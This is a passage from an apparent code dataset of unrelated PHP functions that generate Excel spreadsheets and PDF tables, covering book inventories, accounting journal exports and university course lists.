'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "public function tuExcel(){\n $fields= $this->db->field_data('hotel');\n $query= $this->db->get('hotel');\n return array (\"fields\" => $fields, \"query\" => $query);\n }", "public function generateReport()\n {\n\t\t$this->_lastColumn=$this->objWorksheet->getHighestColumn();//TODO: better detection\n\t\t$this->_lastRow=$this->objWorksheet->getHighestRow();\n foreach($this->_data as $data)\n\t\t{\n\t\t\tif(isset ($data['repeat']) && $data['repeat']==true)\n\t\t\t{\n\t\t\t\t//Repeating data\n\t\t\t\t$foundTags=false;\n\t\t\t\t$repeatRange='';\n\t\t\t\t$firstRow='';\n\t\t\t\t$lastRow='';\n\n\t\t\t\t$firstCol='A';//TODO: better detection\n\t\t\t\t$lastCol=$this->_lastColumn;\n\n\t\t\t\t//scan the template\n\t\t\t\t//search for repeating part\n\t\t\t\tforeach ($this->objWorksheet->getRowIterator() as $row)\n\t\t\t\t{\n\t\t\t\t\t$cellIterator = $row->getCellIterator();\n\t\t\t\t\t$rowIndex = $row->getRowIndex();\n\t\t\t\t\t//find the repeating range (one or more rows)\n\t\t\t\t\tforeach ($cellIterator as $cell)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cellval=trim($cell->getValue());\n\t\t\t\t\t\t$column = $cell->getColumn();\n\t\t\t\t\t\t//see if the cell has something for replacing\n\t\t\t\t\t\tif(preg_match_all(\"/\\{\".$data['id'].\":(\\w*|#\\+?-?(\\d*)?)\\}/\", $cellval, $matches))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//this cell has replacement tags\n\t\t\t\t\t\t\tif(!$foundTags) $foundTags=true;\n\t\t\t\t\t\t\t//remember the first ant the last row\n\t\t\t\t\t\t\tif($rowIndex!=$firstRow)\n\t\t\t\t\t\t\t\t$lastRow=$rowIndex;\n\t\t\t\t\t\t\tif($firstRow=='')\n\t\t\t\t\t\t\t\t$firstRow=$rowIndex;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//form the repeating range\n\t\t\t\tif($foundTags)\n\t\t\t\t\t$repeatRange=$firstCol.$firstRow.\":\".$lastCol.$lastRow;\n\n\t\t\t\t//check if this is the last row\n\t\t\t\tif($foundTags && $lastRow==$this->_lastRow)\n\t\t\t\t\t$data['last']=true;\n\n\t\t\t\t//set initial format data\n\t\t\t\tif(! isset($data['format']))\n\t\t\t\t\t$data['format']=array();\n\n\t\t\t\t//set default step as 1\n\t\t\t\tif(! isset($data['step']))\n\t\t\t\t\t$data['step']=1;\n\n\t\t\t\t//check if data is an array\n\t\t\t\tif(is_array($data['data']))\n\t\t\t\t{\n\t\t\t\t\t//every element is an array with data for all the columns\n\t\t\t\t\tif($foundTags)\n\t\t\t\t\t{\n\t\t\t\t\t\t//insert repeating rows, as many as needed\n\t\t\t\t\t\t//check if grouping is defined\n\t\t\t\t\t\tif(count($this->_group))\n\t\t\t\t\t\t\t$this->generateRepeatingRowsWithGrouping($data, $repeatRange);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$this->generateRepeatingRows($data, $repeatRange);\n\t\t\t\t\t\t//remove the template rows\n\t\t\t\t\t\tfor($i=$firstRow;$i<=$lastRow;$i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->objWorksheet->removeRow($firstRow);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//if there is no data\n\t\t\t\t\t\tif(count($data['data'])==0)\n\t\t\t\t\t\t\t$this->addNoResultRow($firstRow,$firstCol,$lastCol);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t //TODO\n\t\t\t\t //maybe an SQL query?\n\t\t\t\t //needs to be database agnostic\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//non-repeating data\n\t\t\t\t//check for additional formating\n\t\t\t\tif(! isset($data['format']))\n\t\t\t\t\t$data['format']=array();\n\n\t\t\t\t//check if data is an array or mybe a SQL query\n\t\t\t\tif(is_array($data['data']))\n\t\t\t\t{\n\t\t\t\t\t//array of data\n\t\t\t\t\t$this->generateSingleRow($data);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//TODO\n\t\t\t\t //maybe an SQL query?\n\t\t\t\t //needs to be database agnostic\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //call the replacing function\n $this->searchAndReplace();\n\n //generate heading if heading text is set\n if($this->_headingText!='')\n $this->generateHeading();\n\n }", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "function 